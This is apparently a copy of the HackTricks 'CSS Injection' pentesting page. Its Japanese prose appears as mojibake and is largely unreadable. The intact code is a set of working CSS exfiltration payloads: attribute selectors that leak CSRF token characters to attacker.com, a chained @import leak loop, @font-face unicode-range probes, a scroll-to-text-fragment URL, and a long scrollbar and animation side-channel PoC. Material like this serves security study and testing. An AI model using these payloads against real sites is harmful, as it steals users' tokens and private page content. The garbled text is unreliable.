.. | ||
css-injection-code.md | ||
README.md |
CSS Injection
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ð¬ Discord group or the telegram group or follow us on Twitter ðŠ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
CSS Injection
Attribute Selector
CSSã»ã¬ã¯ã¿ã¯ãinput
èŠçŽ ã®name
ããã³value
å±æ§ã®å€ã«äžèŽããããã«äœæãããŠããŸããå
¥åèŠçŽ ã®å€å±æ§ãç¹å®ã®æåã§å§ãŸãå Žåããããããå®çŸ©ãããå€éšãªãœãŒã¹ãèªã¿èŸŒãŸããŸã:
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
ãããããã®ã¢ãããŒãã¯é ãå
¥åèŠçŽ ïŒtype="hidden"
ïŒãæ±ãéã«å¶éã«çŽé¢ããŸãããªããªããé ãèŠçŽ ã¯èæ¯ãèªã¿èŸŒãŸãªãããã§ãã
é ãèŠçŽ ã®ãã€ãã¹
ãã®å¶éãåé¿ããããã«ã~
äžè¬çãªå
åŒã³ã³ãããŒã¿ã䜿çšããŠæ¬¡ã®å
åŒèŠçŽ ãã¿ãŒã²ããã«ããããšãã§ããŸããCSSã«ãŒã«ã¯ãé ãå
¥åèŠçŽ ã®åŸã«ç¶ããã¹ãŠã®å
åŒã«é©çšãããèæ¯ç»åãèªã¿èŸŒãŸããåå ãšãªããŸãã
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
å®éã«ãã®æè¡ãæªçšããäŸã¯ãæäŸãããã³ãŒãã¹ããããã«è©³è¿°ãããŠããŸãããã¡ãã§ç¢ºèªã§ããŸã hereã
CSSã€ã³ãžã§ã¯ã·ã§ã³ã®åææ¡ä»¶
CSSã€ã³ãžã§ã¯ã·ã§ã³æè¡ãå¹æçã§ããããã«ã¯ãç¹å®ã®æ¡ä»¶ãæºããå¿ èŠããããŸãïŒ
- ãã€ããŒãã®é·ã: CSSã€ã³ãžã§ã¯ã·ã§ã³ãã¯ã¿ãŒã¯ãäœæãããã»ã¬ã¯ã¿ãå容ããã®ã«ååãªé·ãã®ãã€ããŒãããµããŒãããå¿ èŠããããŸãã
- CSSã®åè©äŸ¡: ããŒãžããã¬ãŒã åããèœåãå¿ èŠã§ãããããã¯æ°ããçæããããã€ããŒãã§CSSã®åè©äŸ¡ãããªã¬ãŒããããã«å¿ èŠã§ãã
- å€éšãªãœãŒã¹: ãã®æè¡ã¯ãå€éšãã¹ããããç»åã䜿çšããèœåãåæãšããŠããŸããããã¯ããµã€ãã®ã³ã³ãã³ãã»ãã¥ãªãã£ããªã·ãŒïŒCSPïŒã«ãã£ãŠå¶éãããå¯èœæ§ããããŸãã
ãã©ã€ã³ãå±æ§ã»ã¬ã¯ã¿
ãã®æçš¿ã§èª¬æãããŠããããã«ã:has
ãš :not
ã»ã¬ã¯ã¿ãçµã¿åãããŠããã©ã€ã³ãèŠçŽ ããã§ãã³ã³ãã³ããç¹å®ããããšãå¯èœã§ããããã¯ãCSSã€ã³ãžã§ã¯ã·ã§ã³ãèªã¿èŸŒããŠã§ãããŒãžã®äžèº«ãå
šãåãããªãå Žåã«éåžžã«äŸ¿å©ã§ãã
ãŸãããããã®ã»ã¬ã¯ã¿ã䜿çšããŠãåãã¿ã€ãã®è€æ°ã®ãããã¯ããæ
å ±ãæœåºããããšãå¯èœã§ãã
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>
ãã®æè¡ã次ã®**@importæè¡ãšçµã¿åãããããšã§ãblind-css-exfiltrationã䜿çšããŠãç²ç®çãªããŒãžããå€ãã®æ å ±ãæœåºããããšãå¯èœã§ãã**
@import
åã®æè¡ã«ã¯ããã€ãã®æ¬ ç¹ããããŸãã®ã§ãåææ¡ä»¶ã確èªããŠãã ãããè€æ°ã®ãªã³ã¯ã被害è ã«éä¿¡ã§ããå¿ èŠãããããCSSã€ã³ãžã§ã¯ã·ã§ã³è匱ããŒãžãiframeã§ããå¿ èŠããããŸãã
ãããã**CSS @import
**ã䜿çšããŠæè¡ã®è³ªãåäžãããå¥ã®å·§åŠãªæè¡ããããŸãã
ããã¯æåã«Pepe Vilaã«ãã£ãŠç€ºããã次ã®ããã«æ©èœããŸãïŒ
åãããŒãžãäœåºŠãç°ãªããã€ããŒãã§èªã¿èŸŒã代ããã«ïŒåã®æ¹æ³ã®ããã«ïŒãããŒãžãäžåºŠã ãæ»æè ã®ãµãŒããŒãžã®ã€ã³ããŒãã§èªã¿èŸŒãããšã«ããŸãïŒããã被害è ã«éä¿¡ãããã€ããŒãã§ãïŒïŒ
@import url('//attacker.com:5001/start?');
- ã€ã³ããŒãã¯æ»æè ããã®CSSã¹ã¯ãªãããåãåãããšã«ãªããŸãããããŠãã©ãŠã¶ã¯ãããèªã¿èŸŒã¿ãŸãã
- æ»æè
ãéä¿¡ããCSSã¹ã¯ãªããã®æåã®éšåã¯åã³æ»æè
ã®ãµãŒããŒãžã®å¥ã®
@import
ã§ãã - æ»æè ã®ãµãŒããŒã¯ãã®ãªã¯ãšã¹ãã«ã¯ãŸã å¿çããŸããããªããªããããã€ãã®æåãæŒæŽ©ãããåŸã«ã次ã®æåãæŒæŽ©ãããããã®ãã€ããŒãã§ãã®ã€ã³ããŒãã«å¿çãããããã§ãã
- ãã€ããŒãã®2çªç®ã§å€§ããªéšåã¯å±æ§ã»ã¬ã¯ã¿æŒæŽ©ãã€ããŒãã«ãªããŸãã
- ããã«ãããæ»æè ã®ãµãŒããŒã«ç§å¯ã®æåã®æåãšæåŸã®æåãéä¿¡ãããŸãã
- æ»æè ã®ãµãŒããŒãç§å¯ã®æåãšæåŸã®æåãåãåããšãã¹ããã2ã§èŠæ±ãããã€ã³ããŒãã«å¿çããŸãã
- å¿çã¯ã¹ããã2ã3ã4ãšå šãåãã§ãããä»åã¯ç§å¯ã®2çªç®ã®æåãšæ¬¡ã®æåŸãã2çªç®ã®æåãèŠã€ããããšããŸãã
æ»æè ã¯ç§å¯ãå®å šã«æŒæŽ©ããããŸã§ãã®ã«ãŒããç¶ããŸãã
å ã®Pepe Vilaã®ã³ãŒããããã§å©çšããããšãã§ããŸã ãŸãã¯ãã»ãŒåãã³ãŒãã§ããã³ã¡ã³ãä»ãã®ãã®ãããã§èŠã€ããããšãã§ããŸãã
{% hint style="info" %} ã¹ã¯ãªããã¯æ¯å2æåãçºèŠããããšããŸãïŒæåãããšæåŸããïŒãªããªããå±æ§ã»ã¬ã¯ã¿ã¯æ¬¡ã®ãããªããšãå¯èœã«ããããã§ãïŒ
/* value^= to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
/* value$= to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
ããã¯ã¹ã¯ãªãããç§å¯ãããæ©ãæŒããããšãå¯èœã«ããŸãã {% endhint %}
{% hint style="warning" %}
æã
ãã¹ã¯ãªããã¯æ¥é èŸ + æ¥å°ŸèŸããã§ã«å®å
šãªãã©ã°ã§ããããšãæ£ããæ€åºããªãããšããããæ¥é èŸã®æ¹åã«é²ã¿ãæ¥å°ŸèŸã®æ¹åã«æ»ããããæç¹ã§ãã³ã°ããŸãã
å¿é
ããªãã§ãã ãããåºåã確èªããã°ãããã«ãã©ã°ãèŠãããšãã§ããŸãã
{% endhint %}
ãã®ä»ã®ã»ã¬ã¯ã¿
CSSã»ã¬ã¯ã¿ã䜿çšããŠDOMã®éšåã«ã¢ã¯ã»ã¹ããä»ã®æ¹æ³ïŒ
.class-to-search:nth-child(2)
: ããã¯DOMå ã®ã¯ã©ã¹ãclass-to-searchããæã€2çªç®ã®ã¢ã€ãã ãæ€çŽ¢ããŸãã:empty
ã»ã¬ã¯ã¿: äŸãã°ããã®è§£èª¬ã§äœ¿çšãããŠããŸã:
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
ãšã©ãŒã«åºã¥ãXS-Search
åèæç®: CSSããŒã¹ã®æ»æ: @font-faceã®unicode-rangeãæªçšãã, @terjanqã«ãããšã©ãŒã«åºã¥ãXS-Search PoC
å
šäœã®æå³ã¯ãå¶åŸ¡ããããšã³ããã€ã³ãããã«ã¹ã¿ã ãã©ã³ãã䜿çšããæå®ããããªãœãŒã¹ïŒfavicon.ico
ïŒãèªã¿èŸŒãŸããªãå Žåã«ã®ã¿ããã®ãã©ã³ãã§ããã¹ãïŒãã®å Žåã¯ãAãïŒã衚瀺ãããããšãä¿èšŒããããšã§ãã
<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}
#poc0{
font-family: 'poc';
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- ã«ã¹ã¿ã ãã©ã³ãã®äœ¿çš:
- ã«ã¹ã¿ã ãã©ã³ãã¯ã
<head>
ã»ã¯ã·ã§ã³å ã®<style>
ã¿ã°ã䜿çšããŠ@font-face
ã«ãŒã«ã§å®çŸ©ãããŸãã - ãã©ã³ãã¯
poc
ãšåä»ããããå€éšãšã³ããã€ã³ãïŒhttp://attacker.com/?leak
ïŒããååŸãããŸãã unicode-range
ããããã£ã¯U+0041
ã«èšå®ãããç¹å®ã®Unicodeæå'A'ãã¿ãŒã²ããã«ããŸãã
- ãã©ãŒã«ããã¯ããã¹ããæã€ãªããžã§ã¯ãèŠçŽ :
<body>
ã»ã¯ã·ã§ã³ã«id="poc0"
ã®<object>
èŠçŽ ãäœæãããŸãããã®èŠçŽ ã¯http://192.168.0.1/favicon.ico
ãããªãœãŒã¹ãèªã¿èŸŒãããšããŸãã- ãã®èŠçŽ ã®
font-family
ã¯ã<style>
ã»ã¯ã·ã§ã³ã§å®çŸ©ããã'poc'
ã«èšå®ãããŠããŸãã - ãªãœãŒã¹ïŒ
favicon.ico
ïŒã®èªã¿èŸŒã¿ã«å€±æããå Žåã<object>
ã¿ã°å ã®ãã©ãŒã«ããã¯ã³ã³ãã³ãïŒæå'A'ïŒã衚瀺ãããŸãã - å€éšãªãœãŒã¹ãèªã¿èŸŒãŸããªãå Žåããã©ãŒã«ããã¯ã³ã³ãã³ãïŒ'A'ïŒã¯ã«ã¹ã¿ã ãã©ã³ã
poc
ã䜿çšããŠã¬ã³ããªã³ã°ãããŸãã
ã¹ã¯ããŒã«ããã¹ããã©ã°ã¡ã³ãã®ã¹ã¿ã€ãªã³ã°
**:target
**æ¬äŒŒã¯ã©ã¹ã¯ãURLãã©ã°ã¡ã³ãã«ãã£ãŠã¿ãŒã²ããã«ãããèŠçŽ ãéžæããããã«äœ¿çšãããŸããããã¯CSSã»ã¬ã¯ã¿ãŒã¬ãã«4ä»æ§ã§æå®ãããŠããŸãã::target-text
ã¯ãããã¹ãããã©ã°ã¡ã³ãã«ãã£ãŠæ瀺çã«ã¿ãŒã²ããã«ãããªãéããèŠçŽ ã«äžèŽããªãããšãç解ããããšãéèŠã§ãã
æ»æè ãã¹ã¯ããŒã«ããã¹ããã©ã°ã¡ã³ãæ©èœãæªçšããããšã§ãç¹å®ã®ããã¹ãããŠã§ãããŒãžã«ååšããããšã確èªã§ãããšããã»ãã¥ãªãã£äžã®æžå¿µãçããŸããããã¯ãHTMLã€ã³ãžã§ã¯ã·ã§ã³ãéããŠèªåã®ãµãŒããŒãããªãœãŒã¹ãèªã¿èŸŒãããšã«ãã£ãŠå®çŸãããŸãããã®æ¹æ³ã¯ã次ã®ãããªCSSã«ãŒã«ãæ³šå ¥ããããšãå«ã¿ãŸã:
:target::before { content : url(target.png) }
ãã®ãããªã·ããªãªã§ã¯ãããŒãžã«ãAdministratorããšããããã¹ããååšããå ŽåããªãœãŒã¹ target.png
ããµãŒããŒãããªã¯ãšã¹ããããããã¹ãã®ååšã瀺ãããŸãããã®æ»æã®äžäŸã¯ã泚å
¥ãããCSSãã¹ã¯ããŒã«ããã¹ããã©ã°ã¡ã³ããšå
±ã«åã蟌ãã ç¹å¥ã«äœæãããURLãéããŠå®è¡ã§ããŸãïŒ
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
ããã§ã¯ãæ»æãHTMLã€ã³ãžã§ã¯ã·ã§ã³ãæäœããŠCSSã³ãŒããéä¿¡ããç¹å®ã®ããã¹ããAdministratorããã¿ãŒã²ããã«ããŠããŸããããã¯Scroll-to-text fragmentïŒ#:~:text=Administrator
ïŒãéããŠè¡ãããŸããããã¹ããèŠã€ãããšãæå®ããããªãœãŒã¹ãèªã¿èŸŒãŸããæ»æè
ã«ãã®ååšãç¡æèã«ç¥ãããŸãã
ç·©åçãšããŠã以äžã®ç¹ã«æ³šæããå¿ èŠããããŸãïŒ
- å¶çŽãããSTTFãããã³ã°: Scroll-to-text FragmentïŒSTTFïŒã¯ãåèªãæã®ã¿ãããããããããã«èšèšãããŠãããä»»æã®ç§å¯ãããŒã¯ã³ãæŒæŽ©ãããèœåãå¶éããŠããŸãã
- ãããã¬ãã«ã®ãã©ãŠãžã³ã°ã³ã³ããã¹ããžã®å¶é: STTFã¯ãããã¬ãã«ã®ãã©ãŠãžã³ã°ã³ã³ããã¹ãã§ã®ã¿æ©èœããiframeå ã§ã¯æ©èœããªãããããããªãæªçšã®è©Šã¿ããŠãŒã¶ãŒã«ãšã£ãŠããç®ç«ã€ãã®ã«ãªããŸãã
- ãŠãŒã¶ãŒã®ã¢ã¯ãã£ããŒã·ã§ã³ã®å¿ èŠæ§: STTFã¯åäœããããã«ãŠãŒã¶ãŒã®ã¢ã¯ãã£ããŒã·ã§ã³ãžã§ã¹ãã£ãŒãå¿ èŠãšããã€ãŸãæªçšã¯ãŠãŒã¶ãŒãéå§ããããã²ãŒã·ã§ã³ãéããŠã®ã¿å¯èœã§ãããã®èŠä»¶ã¯ããŠãŒã¶ãŒã®ã€ã³ã¿ã©ã¯ã·ã§ã³ãªãã«æ»æãèªååããããªã¹ã¯ãå€§å¹ ã«è»œæžããŸããããã«ãããããããããã°æçš¿ã®èè ã¯ãæ»æã®èªååã容æã«ããç¹å®ã®æ¡ä»¶ããã€ãã¹ïŒäŸïŒãœãŒã·ã£ã«ãšã³ãžãã¢ãªã³ã°ãäžè¬çãªãã©ãŠã¶æ¡åŒµæ©èœãšã®ã€ã³ã¿ã©ã¯ã·ã§ã³ïŒãææããŠããŸãã
ãããã®ã¡ã«ããºã ãšæœåšçãªè匱æ§ãèªèããããšã¯ããŠã§ãã»ãã¥ãªãã£ãç¶æãããã®ãããªæªçšçæŠè¡ããå®ãããã®éµã§ãã
詳现ã«ã€ããŠã¯ãå ã®ã¬ããŒãã確èªããŠãã ãã: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
ãã®æè¡ã䜿çšããCTFã®ãšã¯ã¹ããã€ãã¯ãã¡ãã§ç¢ºèªã§ããŸãã
@font-face / unicode-range
ç¹å®ã®unicodeå€ã«å¯ŸããŠå€éšãã©ã³ããæå®ããããšãã§ãããã®unicodeå€ãããŒãžã«ååšããå Žåã«ã®ã¿åéãããŸããäŸãã°ïŒ
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>htm
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
Text node exfiltration (I): ligatures
Reference: Wykradanie danych w Åwietnym stylu â czyli jak wykorzystaÄ CSS-y do ataków na webaplikacjÄ
ãã®æè¡ã¯ããã©ã³ãã®ãªã¬ãã£ãå©çšããŠããŒãããããã¹ããæœåºããå¹ ã®å€åãç£èŠããããšãå«ã¿ãŸããããã»ã¹ã¯ä»¥äžã®ããã€ãã®ã¹ãããã§æ§æãããŠããŸãïŒ
- ã«ã¹ã¿ã ãã©ã³ãã®äœæ:
- SVGãã©ã³ãã¯ã2æåã®ã·ãŒã±ã³ã¹ãè¡šãã°ãªãã«å€§ããªå¹
ãèšå®ãã
horiz-adv-x
å±æ§ãæã€ã°ãªãã§äœæãããŸãã - äŸ SVGã°ãªã:
<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
ããã㧠"XY" ã¯2æåã®ã·ãŒã±ã³ã¹ã瀺ããŸãã - ãããã®ãã©ã³ãã¯ãfontforgeã䜿çšããŠwoff圢åŒã«å€æãããŸãã
- å¹ ã®å€åã®æ€åº:
- CSSã䜿çšããŠããã¹ããæãè¿ããªãããã«ãïŒ
white-space: nowrap
ïŒãã¹ã¯ããŒã«ããŒã®ã¹ã¿ã€ã«ãã«ã¹ã¿ãã€ãºããŸãã - æ確ã«ã¹ã¿ã€ã«ãããæ°Žå¹³ã¹ã¯ããŒã«ããŒã®åºçŸã¯ãç¹å®ã®ãªã¬ãã£ããããã£ãŠç¹å®ã®æåã·ãŒã±ã³ã¹ãããã¹ãã«ååšããããšã瀺ãææšïŒãªã©ã¯ã«ïŒãšããŠæ©èœããŸãã
- é¢é£ããCSS:
body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
- ãšã¯ã¹ããã€ãããã»ã¹:
- ã¹ããã1: 倧ããªå¹ ãæã€æåã®ãã¢çšã«ãã©ã³ããäœæãããŸãã
- ã¹ããã2: 倧ããªå¹ ã®ã°ãªãïŒæåãã¢ã®ãªã¬ãã£ïŒãã¬ã³ããªã³ã°ããããšãã«æ€åºããããã«ãã¹ã¯ããŒã«ããŒãå©çšããããªãã¯ã䜿çšãããŸãã
- ã¹ããã3: ãªã¬ãã£ãæ€åºãããšãæ€åºããããã¢ãçµã¿èŸŒã¿ãåãŸãã¯åŸã®æåãè¿œå ãã3æåã®ã·ãŒã±ã³ã¹ãè¡šãæ°ããã°ãªããçæãããŸãã
- ã¹ããã4: 3æåã®ãªã¬ãã£ã®æ€åºãè¡ãããŸãã
- ã¹ããã5: ããã»ã¹ã¯ç¹°ãè¿ãããããã¹ãå šäœãåŸã ã«æããã«ãªããŸãã
- æé©å:
- çŸåšã®åæåæ¹æ³ã§ãã
<meta refresh=...
ã¯æé©ã§ã¯ãããŸããã - ããå¹ççãªã¢ãããŒãã¯ãCSS
@import
ããªãã¯ã䜿çšããŠããšã¯ã¹ããã€ãã®ããã©ãŒãã³ã¹ãåäžãããããšãã§ããŸãã
Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)
Reference: PoC using Comic Sans by @Cgvwzq & @Terjanq
ãã®ããªãã¯ã¯ãã®Slackersã¹ã¬ããã§å ¬éãããŸãããããã¹ãããŒãã§äœ¿çšãããæåã»ããã¯ããã©ãŠã¶ã«ã€ã³ã¹ããŒã«ãããŠããããã©ã«ããã©ã³ãã䜿çšããŠæŒæŽ©ããããšãã§ããŸãïŒå€éšãŸãã¯ã«ã¹ã¿ã ãã©ã³ãã¯å¿ èŠãããŸããã
ãã®æŠå¿µã¯ãã¢ãã¡ãŒã·ã§ã³ãå©çšããŠdiv
ã®å¹
ãåŸã
ã«æ¡å€§ãã1æåãã€ããã¹ãã®ããµãã£ãã¯ã¹ãéšåããããã¬ãã£ãã¯ã¹ãéšåã«ç§»è¡ãããããšã«åºã¥ããŠããŸãããã®ããã»ã¹ã¯ãããã¹ãã2ã€ã®ã»ã¯ã·ã§ã³ã«å¹æçã«åå²ããŸãïŒ
- ãã¬ãã£ãã¯ã¹: åæè¡ã
- ãµãã£ãã¯ã¹: 次ã®è¡ã
æåã®é·ç§»æ®µéã¯æ¬¡ã®ããã«è¡šç€ºãããŸãïŒ
C
ADB
CA
DB
CAD
B
CADB
ãã®é·ç§»äžã«ãunicode-rangeããªãã¯ã䜿çšãããŠæ°ããæåããã¬ãã£ãã¯ã¹ã«å ãããã³ã«èå¥ãããŸããããã¯ãããã©ã«ããã©ã³ããããæããã«èãé«ãComic Sansãã©ã³ãã«åãæ¿ããããšã§éæãããçµæãšããŠåçŽã¹ã¯ããŒã«ããŒãããªã¬ãŒãããŸãããã®ã¹ã¯ããŒã«ããŒã®åºçŸã¯ããã¬ãã£ãã¯ã¹ã«æ°ããæåãååšããããšãéæ¥çã«ç€ºããŸãã
ãã®æ¹æ³ã§ã¯ããŠããŒã¯ãªæåãçŸãããšãã«æ€åºã§ããŸãããã©ã®æåãç¹°ãè¿ãããŠãããã¯ç¹å®ã§ãããç¹°ãè¿ããçºçããããšã ããããããŸãã
{% hint style="info" %}
åºæ¬çã«ãunicode-rangeã¯æåãæ€åºããããã«äœ¿çšãããŸãããå€éšãã©ã³ããèªã¿èŸŒãããšã¯æãŸãããªããããå¥ã®æ¹æ³ãèŠã€ããå¿
èŠããããŸãã
æåãèŠã€ãã£ããšããããã¯äºåã«ã€ã³ã¹ããŒã«ãããComic Sansãã©ã³ããäžããããæåã倧ãããªããã¹ã¯ããŒã«ããŒãããªã¬ãŒãããèŠã€ãã£ãæåãæŒæŽ©ããŸãã
{% endhint %}
Check the code extracted from the PoC:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
ããã¹ãããŒãã®æµåº (III): ããã©ã«ããã©ã³ãã«ããæåã»ããã®æŒæŽ©ïŒå€éšã¢ã»ãããå¿ èŠãšããªãïŒ
åè: ããã¯ãã®æžã蟌ã¿ã®å€±æãã解決çãšããŠèšåãããŠããŸã
ãã®ã±ãŒã¹ã¯åã®ã±ãŒã¹ãšéåžžã«äŒŒãŠããŸãããä»åã¯ç¹å®ã®æåãä»ã®æåãã倧ããããç®çã¯ããããã«æŒãããªããã¿ã³ãèªã¿èŸŒãŸããªãç»åã®ãããªäœããé ãããšã§ãããããã£ãŠãã¢ã¯ã·ã§ã³ïŒãŸãã¯ã¢ã¯ã·ã§ã³ã®æ¬ åŠïŒã枬å®ããç¹å®ã®æåãããã¹ãå ã«ååšãããã©ãããç¥ãããšãã§ããŸãã
ããã¹ãããŒãã®æµåº (III): ãã£ãã·ã¥ã¿ã€ãã³ã°ã«ããæåã»ããã®æŒæŽ©ïŒå€éšã¢ã»ãããå¿ èŠãšããªãïŒ
åè: ããã¯ãã®æžã蟌ã¿ã®å€±æãã解決çãšããŠèšåãããŠããŸã
ãã®å Žåãåããªãªãžã³ããåœã®ãã©ã³ããèªã¿èŸŒãããšã§ãããã¹ãã«æåãå«ãŸããŠãããã©ãããæŒæŽ©ãããããšãè©Šã¿ãããšãã§ããŸãã
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
ããäžèŽãããã°ããã©ã³ã㯠/static/bootstrap.min.css?q=1
ããèªã¿èŸŒãŸããŸããæåè£ã«èªã¿èŸŒãŸããããšã¯ãããŸãããããã©ãŠã¶ã¯ããããã£ãã·ã¥ããã¯ãã§ãããã£ãã·ã¥ããªããŠãã304 not modified ã¡ã«ããºã ããããããã¬ã¹ãã³ã¹ã¯ä»ã®ãã®ãããéããªãã¯ãã§ãã
